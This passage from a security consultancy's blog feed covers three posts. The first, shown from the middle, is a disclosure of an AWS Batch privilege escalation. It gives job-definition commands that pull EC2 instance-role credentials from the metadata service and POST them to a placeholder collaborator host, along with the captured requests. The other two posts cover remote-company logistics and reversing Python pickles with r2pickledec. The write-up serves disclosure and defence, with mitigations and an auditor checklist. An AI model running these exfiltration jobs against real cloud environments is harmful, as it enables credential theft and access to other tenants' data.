&lt;p&gt;So, the next question was pretty obvious:&lt;/p&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 35%;&quot; src=&quot;/public/images/batch-meme.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;h3 id=&quot;the-turning-point&quot;&gt;The Turning Point&lt;/h3&gt;
&lt;p&gt;After many hours of dorking and code review, we managed to discover two additional details:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;In the AWS Batch with EC2 compute environment, the jobs’ containers run with host network configuration. This means that Batch job containers use the host EC2 Spot instance’s networking directly&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;strong&gt;The platform was restricting the IMDS connectivity on job containers when the worker was starting the tasks&lt;/strong&gt;&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;Due to these conditions, a batch job could call the IMDSv2 service on behalf of the host EC2 Spot instance if it started without the restrictions applied by the worker, potentially leading to a privilege escalation:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;An attacker with the leaked batch job credentials could use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RegisterJobDefinition&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SubmitJob&lt;/code&gt; to define and execute a malicious AWS Batch job.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The malicious job is able to dialogue with the IMDS service on behalf of the host EC2 Spot instance since the network restrictions to the IMDS were not applied.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;In this way, it was possible to obtain credentials for the IAM Role owned by the EC2 Spot instances.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
    &lt;center&gt;&lt;img style=&quot;width: 35%;&quot; src=&quot;/public/images/batch-priv-esc-meme.png&quot; alt=&quot;&quot; /&gt;
    &lt;em&gt;&lt;/em&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;The compute environment EC2 spot instances needed a specific role with highly privileged permissions to manage multiple services, including EFS to mount customers’ data etc.&lt;/p&gt;

&lt;h3 id=&quot;privesc-exploitation&quot;&gt;PrivEsc Exploitation&lt;/h3&gt;
&lt;p&gt;The exploitation phase required two job definitions to interact with the IMDSv2, one to get the instance IAM role name, and one to retrieve the IAM security credentials for the leaked role name.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Job Definition 1 - Getting the host EC2 Spot instance role name&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;aws batch register-job-definition &lt;span class=&quot;nt&quot;&gt;--job-definition-name&lt;/span&gt; poc-get-rolename &lt;span class=&quot;nt&quot;&gt;--type&lt;/span&gt; container &lt;span class=&quot;nt&quot;&gt;--container-properties&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'{ &quot;image&quot;: &quot;curlimages/curl&quot;,
&quot;vcpus&quot;: 1, &quot;memory&quot;: 20, &quot;command&quot;: [ &quot;sh&quot;,&quot;-c&quot;,&quot;TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ &amp;gt; /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m&quot;]}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After defining the job definition, submit a new job using the newly create job definition:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;aws batch submit-job &lt;span class=&quot;nt&quot;&gt;--job-name&lt;/span&gt; attacker-jb-getrolename &lt;span class=&quot;nt&quot;&gt;--job-queue&lt;/span&gt; LowPriorityEc2 &lt;span class=&quot;nt&quot;&gt;--job-definition&lt;/span&gt; poc-get-rolename &lt;span class=&quot;nt&quot;&gt;--scheduling-priority-override&lt;/span&gt; 999 &lt;span class=&quot;nt&quot;&gt;--share-identifier&lt;/span&gt; asd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: the job queue name was retrievable with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aws batch describe-job-queues&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The attacker collaborator server received something like:&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /exfil HTTP/1.1
Host: fo78ichlaqnfn01sju2ck6ixwo2fqaez.oastify.com
User-Agent: curl/8.0.1-DEV
Accept: &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
Content-Length: 44
Content-Type: application/x-www-form-urlencoded

iam-instance-role-20230322003148155300000001
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Job Definition 2 - Getting the credentials for the host EC2 Spot instance role&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ aws batch register-job-definition --job-definition-name poc-get-aimcreds --type container --container-properties '{ &quot;image&quot;: &quot;curlimages/curl&quot;,
&quot;vcpus&quot;: 1, &quot;memory&quot;: 20, &quot;command&quot;: [ &quot;sh&quot;,&quot;-c&quot;,&quot;TOKEN=`curl -X PUT http://169.254.169.254/latest/api/token -H X-aws-ec2-metadata-token-ttl-seconds:21600`; curl -s -H X-aws-ec2-metadata-token:$TOKEN http://169.254.169.254/latest/meta-
data/iam/security-credentials/ROLE_NAME &amp;gt; /tmp/out ; curl -d @/tmp/out -X POST http://BURP_COLLABORATOR/exfil; sleep 4m&quot;]}'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Like for the previous definition, by submitting the job, the collaborator received the output.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /exfil HTTP/1.1
Host: 4otxi1haafn4np1hjj21kvimwd24qyen.oastify.com
User-Agent: curl/8.0.1-DEV
Accept: */*
Content-Length: 1430
Content-Type: application/x-www-form-urlencoded

{&quot;RoleArn&quot;:&quot;arn:aws:iam::1235122316123:role/ecs-role&quot;,&quot;AccessKeyId&quot;:&quot;&amp;lt;redacted&amp;gt;&quot;,&quot;SecretAccessKey&quot;:&quot;&amp;lt;redacted&amp;gt;&quot;,&quot;Token&quot;:&quot;&amp;lt;redacted&amp;gt;&quot;,&quot;Expiration&quot;:&quot;2023-03-22T06:54:42Z&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This time it contained the AWS credentials for the host EC2 Spot instance role.&lt;/p&gt;

&lt;p&gt;Privilege escalation achieved! The obtained role allowed us to access other tenants’ data and do much more.&lt;/p&gt;

&lt;h2 id=&quot;default-host-network-mode-in-aws-batch-with-ec2-orchestration&quot;&gt;Default Host Network Mode In AWS Batch With EC2 Orchestration&lt;/h2&gt;

&lt;p&gt;In AWS Batch with EC2 compute environments, the containers run with bridged network mode.&lt;/p&gt;

&lt;p&gt;With such configuration, the containers (batch jobs) have access to both the EC2 IMDS and the CMDS.&lt;/p&gt;

&lt;p&gt;The issue lies in the fact that the container job is able to dialogue with the IMDSv2 service on behalf of the EC2 Spot instance because they share the same network interface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;In conclusion, it is very important to know about such behavior and avoid the possibility of introducing privilege escalation patterns while designing cloud environments.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;for-cloud-security-auditors&quot;&gt;For cloud security auditors&lt;/h2&gt;

&lt;p&gt;When the platform uses AWS Batch compute environments with EC2 orchestration, answer the following questions:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Always keep in consideration the security of the AWS Batch jobs and their possible compromise. A threat actor could escalate vertically/horizontally and gain more access into the cloud infrastructure.
    &lt;ul&gt;
      &lt;li&gt;Which aspects of the job execution are controllable by the external user?&lt;/li&gt;
      &lt;li&gt;Is command execution inside the jobs intended by the platform?
        &lt;ul&gt;
          &lt;li&gt;If yes, investigate the permissions available through the CMDS&lt;/li&gt;
          &lt;li&gt;If no, attempt to achieve command execution within the jobs’ context&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;Is the IMDS restricted from the job execution context?&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Which types of Compute Environments are used in the platform?
    &lt;ul&gt;
      &lt;li&gt;Are there any Compute Environments configured with EC2 orchestration?
        &lt;ul&gt;
          &lt;li&gt;If yes, which role is assigned to EC2 Spot Instances?&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The dangerous behavior described in this blogpost also applies to configurations involving Elastic Container Service (ECS) tasks with EC2 launch type.&lt;/p&gt;

&lt;h2 id=&quot;for-developers&quot;&gt;For developers&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Developers should be aware of the fact that AWS Batch with EC2 compute environments will run containers with host network configuration. Consequently, the executed containers (batch jobs) have access to both the CMDS for the task role and the IMDS for the host EC2 Spot Instance role.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In order to prevent privilege escalation patterns, Job runs must match the following configurations:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Having the IMDS restricted at network level in running jobs. Read the documentation &lt;a href=&quot;https://aws.amazon.com/premiumsupport/knowledge-center/ecs-container-ec2-metadata/&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Restricting the batch job execution role and job role IAM permissions. In particular, avoid assigning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RegisterJobDefinition&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SubmitJob&lt;/code&gt; permissions in job-related or accessible policies to prevent uncontrolled execution by attackers landing on the job context&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If both configurations are not applicable in your design, consider changing the orchestration type.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Once again, the dangerous behavior described in this blogpost also applies to configurations involving Elastic Container Service (ECS) tasks with the EC2 launch type.&lt;/p&gt;

&lt;h2 id=&quot;hands-on-iac-lab&quot;&gt;Hands-On IaC Lab&lt;/h2&gt;

&lt;p&gt;As promised in the series’ introduction, we developed a Terraform (IaC) laboratory to deploy a vulnerable dummy application and play with the vulnerability: &lt;a href=&quot;https://github.com/doyensec/cloudsec-tidbits/&quot; target=&quot;_blank&quot;&gt;https://github.com/doyensec/cloudsec-tidbits/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Stay tuned for the next episode!&lt;/p&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.aws.amazon.com/batch/latest/userguide/what-is-batch.html&quot; target=&quot;_blank&quot;&gt;What is AWS Batch?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://medium.com/simply-cloudsec/security-nuances-of-the-aws-metadata-service-in-container-workloads-680be43b63e&quot; target=&quot;_blank&quot;&gt;Security Nuances of the AWS Metadata Service in Container Workloads, by David Levitsky&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Logistics for a Remote Company</title>
   <link href="https://blog.doyensec.com/2023/06/06/logistics.html"/>
   <updated>2023-06-06T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/06/06/logistics</id>
   <content type="html">&lt;p&gt;Logistics and shipping devices across the world can be a challenging task, especially when dealing with customs regulations. For the past few years, I have had the opportunity to learn about these complex processes and how to manage them efficiently. As a Practice Manager at Doyensec, I was responsible for building processes from scratch and ensuring that our logistics operations ran smoothly.&lt;/p&gt;

&lt;p&gt;Since 2018, I have had to navigate the intricate world of logistics and shipping, dealing with everything from international regulations to customs clearance. Along the way, I have learned valuable lessons and picked up essential skills that have helped me manage complex logistics operations with ease.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;../../../public/images/logistics.png&quot; alt=&quot;Logistics for a Remote Company&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/center&gt;

&lt;p&gt;In this post, I will share my experiences and insights on managing shipping devices across the world, dealing with customs, and building efficient logistics processes. Whether you’re new to logistics or looking to improve your existing operations, my learnings and experiences will prove useful.&lt;/p&gt;

&lt;h3 id=&quot;employee-onboarding&quot;&gt;Employee Onboarding&lt;/h3&gt;

&lt;p&gt;At Doyensec, when we hire a new employee, our HR specialist takes care of all the necessary paperwork, while I focus on logistics. This includes creating a welcome package and shipping all the necessary devices to the employee’s location. While onboarding employees from the United States and European Union is relatively easy, dealing with customs regulations in other countries can be quite challenging.&lt;/p&gt;

&lt;p&gt;For instance, shipping devices from/to countries such as the UK (post Brexit), Turkey, or Argentina can be quite complicated. We need to be aware of the customs regulations in these countries to ensure that our devices are not bounced back or charged with exorbitant custom fees.&lt;/p&gt;

&lt;p&gt;Navigating customs regulations in different countries can be a daunting task. Still, we’ve learned that conducting thorough research beforehand and ensuring that our devices comply with the necessary regulations can help avoid any unnecessary delays or fees. At Doyensec, we believe that providing our employees with the necessary tools and equipment to perform their job is essential, and we strive to make this process as seamless as possible, regardless of where the employee is located.&lt;/p&gt;

&lt;h3 id=&quot;testing-hardware-management&quot;&gt;Testing Hardware Management&lt;/h3&gt;

&lt;p&gt;At Doyensec, dealing with testing hardware is a crucial aspect of our operations. We use a variety of testing equipment for our work. This means that we often have to navigate customs regulations, including the payment of customs fees, to ensure that our laptops, Yubikeys and mobile devices arrive on time.&lt;/p&gt;

&lt;p&gt;To avoid delays in conducting security audits, we often choose to pay additional fees, including VAT and customs charges, to ensure that we receive hardware promptly. We understand that time is of the essence, and we prioritize meeting our clients’ needs, even if it means spending more money to ensure items required for testing are not held up at customs.&lt;/p&gt;

&lt;p&gt;In addition to paying customs fees, we also make sure to keep all necessary documentation for each piece of hardware that we manage. This documentation helps us to speed up further processes and ensures that we can quickly identify and locate each and every piece of hardware when needed.&lt;/p&gt;

&lt;p&gt;The hardware we most frequently deal with are laptops, though we also occasionally receive YubiKeys as well. Fortunately, YubiKeys generally do not cause any problems at customs (low market value), and we can usually receive them without any significant issues.&lt;/p&gt;

&lt;p&gt;Over time, we’ve learned that different shipping companies have different approaches to customs regulations. To ensure that we can deliver quality service to our clients, we prefer to use companies that we know will treat us fairly and deliver hardware on time. We have almost always had a positive experience with DHL as our preferred shipping provider. DHL’s automated custom processes and documentation have been particularly helpful in ensuring smooth and efficient shipping of Doyensec’s hardware and documents across the world. DHL’s reliability and efficiency have been critical in allowing Doyensec to focus on its core business, which is finding bugs for our fantastic clients.&lt;/p&gt;

&lt;p&gt;We have a preference for avoiding local post office services when it comes to shipping our hardware or documents. While local post office services may be slightly cheaper, they often come with more problems. Packages may get stuck somewhere during the delivery process, and it can be difficult to follow up with customer service to resolve the issue. This can lead to delayed deliveries, frustrated customers, and ultimately, a negative impact on the company’s reputation. Therefore, Doyensec opts for more reliable shipping options, even if they come with a slightly higher price tag.&lt;/p&gt;

&lt;h3 id=&quot;2022-holiday-gifts-from-japan&quot;&gt;2022 Holiday Gifts from Japan&lt;/h3&gt;

&lt;p&gt;At Doyensec, we believe in showing appreciation for our employees and their hard work. That’s why we decided to import some gifts from Japan to distribute among our team members. However, what we did not anticipate was the range of custom fees that we would encounter while shipping these gifts to different countries.&lt;/p&gt;

&lt;p&gt;We shipped these gifts to 7 different countries, all through the same shipping company. However, we found that custom officers had different approaches even within the same country. This resulted in a range of custom fees, ranging from 0 to 45 euros, for each package.&lt;/p&gt;

&lt;p&gt;The interesting part was that every package had the same invoice from the Japanese manufacturer attached, but the fees still differed significantly. It was challenging to understand why this was the case, and we still don’t have a clear answer.&lt;/p&gt;

&lt;p&gt;Overall, our experience with importing gifts from Japan highlighted the importance of being prepared for unexpected customs fees and the unpredictability of customs regulations.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;Managing devices and shipping packages to team members at a globally distributed company, even with a small team, can be quite challenging. Ensuring that packages are delivered promptly and to the correct location can be very difficult, especially with tight project deadlines.&lt;/p&gt;

&lt;p&gt;Although it would be easier to manage devices if everyone worked from the same office, at Doyensec, we value remote work and the flexibility that it provides. That’s why we have invested in developing processes and protocols to ensure that our devices are managed efficiently and securely, despite the remote working environment.&lt;/p&gt;

&lt;p&gt;While some may argue that these challenges are reason enough to abandon remote work and return to the office, we believe that the benefits of remote work far outweigh any challenges we may face. At Doyensec, remote work allows us to hire talented individuals from all the EU and US/Canada, offering a diverse and inclusive work environment. Remote work also allows for greater flexibility and work-life balance, which can result in happier and more productive employees.&lt;/p&gt;

&lt;p&gt;In conclusion, while managing devices in a remote work environment can be challenging, we believe that the benefits of remote work make it worthwhile. At Doyensec, we have developed strategies to manage devices efficiently, and we continue to support remote work and its many benefits.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Reversing Pickles with r2pickledec</title>
   <link href="https://blog.doyensec.com/2023/06/01/r2pickledec.html"/>
   <updated>2023-06-01T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2023/06/01/r2pickledec</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;https://github.com/doyensec/r2pickledec&quot;&gt;R2pickledec&lt;/a&gt; is the first pickle decompiler to support all instructions up to
protocol 5 (the current). In this post we will go over what Python pickles are,
how they work and how to reverse them with Radare2 and r2pickledec. An upcoming
blog post will go even deeper into pickles and share some advanced obfuscation
techniques.&lt;/p&gt;

&lt;h2 id=&quot;what-are-pickles&quot;&gt;What are pickles?&lt;/h2&gt;

&lt;p&gt;Pickles are the built-in serialization algorithm in Python. They can turn any
Python object into a byte stream so it may be stored on disk or sent over a
network. Pickles are notoriously dangerous. You should never unpickle data
from an untrusted source. Doing so will likely result in remote code execution.
Please refer to the &lt;a href=&quot;https://docs.python.org/3/library/pickle.html&quot;&gt;documentation&lt;/a&gt; for more
details.&lt;/p&gt;

&lt;h2 id=&quot;pickle-basics&quot;&gt;Pickle Basics&lt;/h2&gt;

&lt;p&gt;Pickles are implemented as a very simple assembly language. There are only 68
instructions and they mostly operate on a stack. The instruction names are
pretty easy to understand. For example, the instruction &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;empty_dict&lt;/code&gt; will push
an empty dictionary onto the stack.&lt;/p&gt;

&lt;p&gt;The stack only allows access to the top item, or items in some cases. If you
want to grab something else, you must use the memo. The memo is implemented as
a dictionary with positive integer indexes. You will often see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memoize&lt;/code&gt;
instructions. Naively, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memoize&lt;/code&gt; instruction will copy the item at the top
of the stack into the next index in the memo. Then, if that item is needed
later, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binget n&lt;/code&gt; can be used to get the object at index &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To learn more about pickles, I recommend playing with some pickles. Enable
descriptions in Radare2 with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e asm.describe = true&lt;/code&gt; to get short descriptions of
each instruction. Decompile simple pickles that you build yourself, and see if you
can understand the instructions.&lt;/p&gt;

&lt;h2 id=&quot;installing-radare2-and-r2pickledec&quot;&gt;Installing Radare2 and r2pickledec&lt;/h2&gt;

&lt;p&gt;For reversing pickles, our tool of choice is &lt;a href=&quot;https://rada.re/n/&quot;&gt;Radare2&lt;/a&gt; (r2
for short). Package managers tend to ship really old r2 versions. In this case
it’s probably fine, I added the pickle arch to r2 a long time ago. But if you
run into any bugs I suggest installing from
&lt;a href=&quot;https://github.com/radareorg/radare2#installation&quot;&gt;source&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In this blog post, we will primarily be using our
&lt;a href=&quot;https://github.com/doyensec/r2pickledec&quot;&gt;R2pickledec&lt;/a&gt; decompiler plugin. I
purposely wrote this plugin to only rely on r2 libraries. So if r2 works on
your system, r2pickledec should work too. You should be able to instal with r2pm.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r2pm &lt;span class=&quot;nt&quot;&gt;-U&lt;/span&gt;             &lt;span class=&quot;c&quot;&gt;# update package db&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r2pm &lt;span class=&quot;nt&quot;&gt;-ci&lt;/span&gt; pickledec  &lt;span class=&quot;c&quot;&gt;# clean install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can verify everything worked with the following command. You should see the
r2pickledec help menu.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ r2 -a pickle -qqc 'pdP?' -
Usage: pdP[j]  Decompile python pickle
| pdP   Decompile python pickle until STOP, eof or bad opcode
| pdPj  JSON output
| pdPf  Decompile and set pick.* flags from decompiled var names
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;reversing-a-real-pickle-with-radare2-and-r2pickledec&quot;&gt;Reversing a Real pickle with Radare2 and r2pickledec&lt;/h2&gt;

&lt;p&gt;Let’s reverse a real pickle. One never reverses without some context, so let’s
imagine you just broke into a webserver. The webserver is intended to allow
employees of the company to perform privileged actions on client accounts.
While poking around, you find a pickle file that is used by the server to
restore state. What interesting things might we find in the pickle?&lt;/p&gt;

&lt;p&gt;The pickle appears below base64 encoded. Feel free to grab it and play along at
home.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ base64 -i /tmp/blog2.pickle -b 64
gASVDQYAAAAAAACMCF9fbWFpbl9flIwDQXBplJOUKYGUfZQojAdzZXNzaW9ulIwR
cmVxdWVzdHMuc2Vzc2lvbnOUjAdTZXNzaW9ulJOUKYGUfZQojAdoZWFkZXJzlIwT
cmVxdWVzdHMuc3RydWN0dXJlc5SME0Nhc2VJbnNlbnNpdGl2ZURpY3SUk5QpgZR9
lIwGX3N0b3JllIwLY29sbGVjdGlvbnOUjAtPcmRlcmVkRGljdJSTlClSlCiMCnVz
ZXItYWdlbnSUjApVc2VyLUFnZW50lIwWcHl0aG9uLXJlcXVlc3RzLzIuMjguMpSG
lIwPYWNjZXB0LWVuY29kaW5nlIwPQWNjZXB0LUVuY29kaW5nlIwNZ3ppcCwgZGVm
bGF0ZZSGlIwGYWNjZXB0lIwGQWNjZXB0lIwDKi8qlIaUjApjb25uZWN0aW9ulIwK
Q29ubmVjdGlvbpSMCmtlZXAtYWxpdmWUhpR1c2KMB2Nvb2tpZXOUjBByZXF1ZXN0
cy5jb29raWVzlIwRUmVxdWVzdHNDb29raWVKYXKUk5QpgZR9lCiMB19wb2xpY3mU
jA5odHRwLmNvb2tpZWphcpSME0RlZmF1bHRDb29raWVQb2xpY3mUk5QpgZR9lCiM
CG5ldHNjYXBllIiMB3JmYzI5NjWUiYwTcmZjMjEwOV9hc19uZXRzY2FwZZROjAxo
aWRlX2Nvb2tpZTKUiYwNc3RyaWN0X2RvbWFpbpSJjBtzdHJpY3RfcmZjMjk2NV91
bnZlcmlmaWFibGWUiIwWc3RyaWN0X25zX3VudmVyaWZpYWJsZZSJjBBzdHJpY3Rf
bnNfZG9tYWlulEsAjBxzdHJpY3RfbnNfc2V0X2luaXRpYWxfZG9sbGFylImMEnN0
cmljdF9uc19zZXRfcGF0aJSJjBBzZWN1cmVfcHJvdG9jb2xzlIwFaHR0cHOUjAN3
c3OUhpSMEF9ibG9ja2VkX2RvbWFpbnOUKYwQX2FsbG93ZWRfZG9tYWluc5ROdWKM
CF9jb29raWVzlH2UdWKMBGF1dGiUjAVhZG1pbpSMD1BpY2tsZXMgYXJlIGZ1bpSG
lIwHcHJveGllc5R9lIwFaG9va3OUfZSMCHJlc3BvbnNllF2Uc4wGcGFyYW1zlH2U
jAZ2ZXJpZnmUiIwEY2VydJROjAhhZGFwdGVyc5RoFClSlCiMCGh0dHBzOi8vlIwR
cmVxdWVzdHMuYWRhcHRlcnOUjAtIVFRQQWRhcHRlcpSTlCmBlH2UKIwLbWF4X3Jl
dHJpZXOUjBJ1cmxsaWIzLnV0aWwucmV0cnmUjAVSZXRyeZSTlCmBlH2UKIwFdG90
YWyUSwCMB2Nvbm5lY3SUTowEcmVhZJSJjAZzdGF0dXOUTowFb3RoZXKUTowIcmVk
aXJlY3SUTowQc3RhdHVzX2ZvcmNlbGlzdJSPlIwPYWxsb3dlZF9tZXRob2RzlCiM
BVRSQUNFlIwGREVMRVRFlIwDUFVUlIwDR0VUlIwESEVBRJSMB09QVElPTlOUkZSM
DmJhY2tvZmZfZmFjdG9ylEsAjBFyYWlzZV9vbl9yZWRpcmVjdJSIjA9yYWlzZV9v
bl9zdGF0dXOUiIwHaGlzdG9yeZQpjBpyZXNwZWN0X3JldHJ5X2FmdGVyX2hlYWRl
cpSIjBpyZW1vdmVfaGVhZGVyc19vbl9yZWRpcmVjdJQojA1hdXRob3JpemF0aW9u
lJGUdWKMBmNvbmZpZ5R9lIwRX3Bvb2xfY29ubmVjdGlvbnOUSwqMDV9wb29sX21h
eHNpemWUSwqMC19wb29sX2Jsb2NrlIl1YowHaHR0cDovL5RoVymBlH2UKGhaaF0p
gZR9lChoYEsAaGFOaGKJaGNOaGROaGVOaGaPlGhoaG9ocEsAaHGIaHKIaHMpaHSI
aHUojA1hdXRob3JpemF0aW9ulJGUdWJoeH2UaHpLCmh7SwpofIl1YnWMBnN0cmVh
bZSJjAl0cnVzdF9lbnaUiIwNbWF4X3JlZGlyZWN0c5RLHnVijAdiYXNldXJslIwU
aHR0cHM6Ly9leGFtcGxlLmNvbS+UdWIu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We decode the pickle and put it in a file, lets call it &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.pickle&lt;/code&gt;. We
then open the file with r2. We also run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; to see some hex and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pd&lt;/code&gt; to &lt;strong&gt;p&lt;/strong&gt;rint
&lt;strong&gt;d&lt;/strong&gt;issassembly. If you ever want to know what an r2 command does, just run the
command but append a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; to the end to get a help menu (e.g., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pd?&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ r2 -a pickle test.pickle
 -- .-. .- -.. .- .-. . ..---
[0x00000000]&amp;gt; x
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  8004 95bf 0500 0000 0000 008c 1172 6571  .............req
0x00000010  7565 7374 732e 7365 7373 696f 6e73 948c  uests.sessions..
0x00000020  0753 6573 7369 6f6e 9493 9429 8194 7d94  .Session...)..}.
0x00000030  288c 0768 6561 6465 7273 948c 1372 6571  (..headers...req
0x00000040  7565 7374 732e 7374 7275 6374 7572 6573  uests.structures
0x00000050  948c 1343 6173 6549 6e73 656e 7369 7469  ...CaseInsensiti
0x00000060  7665 4469 6374 9493 9429 8194 7d94 8c06  veDict...)..}...
0x00000070  5f73 746f 7265 948c 0b63 6f6c 6c65 6374  _store...collect
0x00000080  696f 6e73 948c 0b4f 7264 6572 6564 4469  ions...OrderedDi
0x00000090  6374 9493 9429 5294 288c 0a75 7365 722d  ct...)R.(..user-
0x000000a0  6167 656e 7494 8c0a 5573 6572 2d41 6765  agent...User-Age
0x000000b0  6e74 948c 1670 7974 686f 6e2d 7265 7175  nt...python-requ
